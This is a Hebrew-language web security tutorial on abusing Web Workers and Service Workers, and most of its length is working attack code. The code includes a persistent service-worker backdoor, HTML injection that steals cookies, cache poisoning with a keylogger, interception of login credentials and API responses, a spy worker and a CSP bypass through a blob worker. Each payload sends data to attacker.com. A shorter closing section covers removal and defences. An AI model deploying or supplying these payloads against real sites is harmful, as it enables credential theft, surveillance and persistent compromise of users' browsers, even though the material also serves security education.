לדלג לתוכן

ניצול Web Workers ו-Service Workers

סקירה כללית

Web Workers

Web Workers מאפשרים הרצת JavaScript ב-thread נפרד, ללא חסימת ה-UI. ישנם שני סוגים:

// Dedicated Worker - שייך לדף אחד
let worker = new Worker('/js/worker.js');
worker.postMessage({ task: 'compute', data: [1, 2, 3] });
worker.onmessage = function(event) {
  console.log('Result:', event.data);
};

// Shared Worker - משותף בין דפים
let shared = new SharedWorker('/js/shared-worker.js');
shared.port.start();
shared.port.postMessage('hello');

Service Workers

Service Workers הם סוג מיוחד של Worker שרץ ברקע ומשמש כפרוקסי רשת בין הדפדפן לשרת:

// רישום Service Worker
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/sw.js', { scope: '/' })
    .then(function(registration) {
      console.log('SW registered:', registration.scope);
    })
    .catch(function(error) {
      console.log('SW registration failed:', error);
    });
}

Service Worker בסיסי:

// sw.js
self.addEventListener('install', function(event) {
  console.log('Service Worker installed');
});

self.addEventListener('activate', function(event) {
  console.log('Service Worker activated');
});

self.addEventListener('fetch', function(event) {
  // ניתן ליירט כל בקשת רשת
  event.respondWith(
    caches.match(event.request).then(function(response) {
      return response || fetch(event.request);
    })
  );
});

XSS מתמיד דרך Service Worker

רישום Service Worker זדוני

אם תוקף מצליח לבצע XSS, הוא יכול לרשום Service Worker שימשיך לרוץ גם אחרי שה-XSS המקורי תוקן:

// XSS payload שמרשם Service Worker
navigator.serviceWorker.register('/user-uploads/evil-sw.js')
  .then(function(reg) {
    console.log('Persistent backdoor installed');
  });

אם התוקף יכול להעלות קובץ JS לשרת (למשל דרך file upload), הוא יכול ליצור Service Worker זדוני:

// evil-sw.js - Service Worker זדוני
self.addEventListener('fetch', function(event) {
  let url = new URL(event.request.url);

  // הזרקת סקריפט זדוני לכל דף HTML
  if (event.request.headers.get('accept').includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(function(response) {
        let cloned = response.clone();
        return cloned.text().then(function(body) {
          // הוספת סקריפט זדוני לכל דף
          let injected = body.replace('</body>',
            '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script></body>'
          );
          return new Response(injected, {
            status: response.status,
            statusText: response.statusText,
            headers: response.headers
          });
        });
      })
    );
  }
});

הרעלת Cache דרך Service Worker

החלפת תגובות

Service Worker יכול להחליף תגובות מהשרת בתוכן זדוני ולשמור אותם ב-cache:

// sw.js - Service Worker שמרעיל cache
self.addEventListener('install', function(event) {
  event.waitUntil(
    caches.open('poisoned-cache').then(function(cache) {
      // החלפת קבצי JavaScript חשובים
      let evilScript = new Response(
        'document.addEventListener("DOMContentLoaded", function() {' +
        '  new Image().src = "https://attacker.com/exfil?cookies=" + document.cookie;' +
        '  // keylogger' +
        '  document.addEventListener("keypress", function(e) {' +
        '    new Image().src = "https://attacker.com/key?k=" + e.key;' +
        '  });' +
        '});',
        { headers: { 'Content-Type': 'application/javascript' } }
      );

      return cache.put('/js/main.js', evilScript);
    })
  );
});

self.addEventListener('fetch', function(event) {
  event.respondWith(
    caches.match(event.request).then(function(cachedResponse) {
      // אם יש תגובה מורעלת ב-cache, החזר אותה
      if (cachedResponse) {
        return cachedResponse;
      }
      return fetch(event.request);
    })
  );
});

יירוט בקשות רשת

גניבת credentials

// sw.js - יירוט בקשות login
self.addEventListener('fetch', function(event) {
  let url = new URL(event.request.url);

  // יירוט בקשות POST ל-login
  if (url.pathname === '/api/login' && event.request.method === 'POST') {
    // שכפול הבקשה
    let clonedRequest = event.request.clone();

    // שליחת הבקשה המקורית לשרת
    event.respondWith(
      clonedRequest.text().then(function(body) {
        // שליחת ה-credentials לשרת התוקף
        fetch('https://attacker.com/steal-creds', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });

        // העברת הבקשה המקורית לשרת
        return fetch(event.request);
      })
    );
  }
});

יירוט תגובות API

// sw.js - גניבת נתוני API
self.addEventListener('fetch', function(event) {
  let url = new URL(event.request.url);

  if (url.pathname.startsWith('/api/')) {
    event.respondWith(
      fetch(event.request).then(function(response) {
        let cloned = response.clone();

        // שליחת תגובת API לתוקף
        cloned.text().then(function(body) {
          fetch('https://attacker.com/api-leak', {
            method: 'POST',
            body: JSON.stringify({
              url: event.request.url,
              method: event.request.method,
              response: body
            }),
            mode: 'no-cors'
          });
        });

        return response;
      })
    );
  }
});

Keylogging ו-Data Theft דרך Workers

Web Worker ככלי ריגול

// spyWorker.js - Worker שאוסף מידע
self.addEventListener('message', function(event) {
  let data = event.data;

  switch (data.type) {
    case 'keystroke':
      // שליחת הקלדה לשרת התוקף
      fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify({
          key: data.key,
          timestamp: Date.now(),
          page: data.page
        }),
        mode: 'no-cors'
      });
      break;

    case 'formData':
      // שליחת נתוני טופס
      fetch('https://attacker.com/form', {
        method: 'POST',
        body: JSON.stringify(data.fields),
        mode: 'no-cors'
      });
      break;
  }
});

שימוש מהדף הראשי:

// הפעלת ה-spy worker
let spy = new Worker('/uploads/spyWorker.js');

// יירוט הקלדות
document.addEventListener('keypress', function(e) {
  spy.postMessage({
    type: 'keystroke',
    key: e.key,
    page: location.href
  });
});

// יירוט שליחת טפסים
document.querySelectorAll('form').forEach(function(form) {
  form.addEventListener('submit', function(e) {
    let fields = {};
    new FormData(form).forEach(function(value, key) {
      fields[key] = value;
    });
    spy.postMessage({ type: 'formData', fields: fields });
  });
});

עקיפת CSP דרך Workers

טעינת Worker מ-blob URL

כאשר CSP חוסם סקריפטים חיצוניים, ניתן ליצור Worker מ-blob:

// CSP: script-src 'self' 'unsafe-inline'

// יצירת Worker מ-blob - עוקף script-src
let workerCode = `
  self.addEventListener('message', function(e) {
    // קוד זדוני רץ ב-Worker ללא הגבלות CSP
    fetch('https://attacker.com/data', {
      method: 'POST',
      body: e.data
    });
  });
`;

let blob = new Blob([workerCode], { type: 'application/javascript' });
let workerUrl = URL.createObjectURL(blob);
let worker = new Worker(workerUrl);
worker.postMessage(document.cookie);

מגבלה: worker-src

CSP מודרני תומך ב-worker-src שמגביל מקורות ל-Workers:

Content-Security-Policy: script-src 'self'; worker-src 'self'

אבל אם worker-src לא מוגדר, child-src או script-src משמשים כ-fallback.


מניפולציית Scope של Service Worker

הרחבת Scope

ה-scope של Service Worker מגביל אילו דפים הוא שולט בהם:

// scope ברירת מחדל - התיקייה של קובץ ה-SW
navigator.serviceWorker.register('/uploads/sw.js');
// scope: /uploads/

// ניסיון להרחיב scope
navigator.serviceWorker.register('/uploads/sw.js', { scope: '/' });
// נכשל! scope לא יכול לעלות מעל תיקיית ה-SW

אלא אם השרת שולח כותרת Service-Worker-Allowed:

Service-Worker-Allowed: /

ניצול path traversal

// אם ניתן להעלות קובץ לנתיב גבוה
navigator.serviceWorker.register('/sw.js');
// scope: / - שולט בכל האתר!

// או אם יש path traversal
navigator.serviceWorker.register('/assets/../sw.js');

רישום Service Worker זדוני - תהליך מלא

שלב 1: מציאת נקודת הזרקה

// XSS שמאפשר הרצת JavaScript
// או file upload שמאפשר העלאת JS

שלב 2: יצירת ה-Service Worker

// malicious-sw.js
const ATTACKER_SERVER = 'https://attacker.com';

self.addEventListener('install', function(event) {
  self.skipWaiting(); // הפעלה מיידית
});

self.addEventListener('activate', function(event) {
  event.waitUntil(self.clients.claim()); // שליטה מיידית בכל הדפים
});

self.addEventListener('fetch', function(event) {
  let request = event.request;
  let url = new URL(request.url);

  // יירוט דפי HTML - הזרקת backdoor
  if (request.headers.get('accept') &&
      request.headers.get('accept').includes('text/html')) {
    event.respondWith(injectBackdoor(request));
    return;
  }

  // יירוט API calls - חילוץ מידע
  if (url.pathname.startsWith('/api/')) {
    event.respondWith(exfiltrateApi(request));
    return;
  }

  // שאר הבקשות - רגיל
  event.respondWith(fetch(request));
});

async function injectBackdoor(request) {
  let response = await fetch(request);
  let html = await response.text();

  let payload = `<script>
    document.addEventListener('keypress', function(e) {
      navigator.sendBeacon('${ATTACKER_SERVER}/keys', e.key);
    });
    document.querySelectorAll('form').forEach(function(f) {
      f.addEventListener('submit', function() {
        let data = Object.fromEntries(new FormData(f));
        navigator.sendBeacon('${ATTACKER_SERVER}/forms', JSON.stringify(data));
      });
    });
  </script>`;

  html = html.replace('</head>', payload + '</head>');

  return new Response(html, {
    status: response.status,
    statusText: response.statusText,
    headers: new Headers(response.headers)
  });
}

async function exfiltrateApi(request) {
  let response = await fetch(request);
  let cloned = response.clone();
  let body = await cloned.text();

  navigator.sendBeacon(ATTACKER_SERVER + '/api-data', JSON.stringify({
    url: request.url,
    method: request.method,
    response: body
  }));

  return response;
}

שלב 3: רישום

// XSS payload שמרשם את ה-SW
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/uploads/malicious-sw.js')
    .then(function() {
      console.log('Backdoor installed');
    });
}

הסרת Service Worker זדוני

מצד המשתמש

// ב-DevTools Console
navigator.serviceWorker.getRegistrations().then(function(registrations) {
  registrations.forEach(function(reg) {
    console.log('Found SW:', reg.scope, reg.active.scriptURL);
    reg.unregister().then(function(success) {
      console.log('Unregistered:', success);
    });
  });
});

מצד השרת

# כותרת Clear-Site-Data
Clear-Site-Data: "storage"

הגנה

הגבלת Service-Worker-Allowed

# לא לשלוח כותרת זו אלא אם באמת צריך
# Service-Worker-Allowed: /

CSP worker-src

Content-Security-Policy: worker-src 'self'; script-src 'self' 'nonce-random123'

שלמות סקריפטים - Script Integrity

<!-- SRI (Subresource Integrity) -->
<script src="/js/app.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>

ניטור רישומי Service Worker

// ניטור רישום SW חדשים
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.addEventListener('controllerchange', function() {
    console.warn('Service Worker controller changed!');
    // דווח לשרת
    fetch('/api/security/sw-change', {
      method: 'POST',
      body: JSON.stringify({
        controller: navigator.serviceWorker.controller ?
          navigator.serviceWorker.controller.scriptURL : null
      })
    });
  });
}

הגבלת file upload

// שרת - וודא שקבצים שהועלו לא יכולים לשמש כ-SW
app.use('/uploads', function(req, res, next) {
  // מנע הרצת JS מתיקיית uploads
  res.setHeader('Content-Type', 'application/octet-stream');
  res.setHeader('Content-Disposition', 'attachment');
  // מנע רישום SW
  res.setHeader('Service-Worker-Allowed', 'none');
  next();
});

סיכום

Web Workers ו-Service Workers מספקים יכולות חזקות שניתן לנצל לתקיפות מתמידות. Service Worker זדוני יכול ליירט כל בקשת רשת, להזריק קוד לכל דף, ולהישאר פעיל גם אחרי שה-XSS המקורי תוקן. ההגנה דורשת CSP עם worker-src, הגבלת scope של Service Workers, ניטור רישומים, והגבלת file upload כדי למנוע העלאת קבצי JavaScript.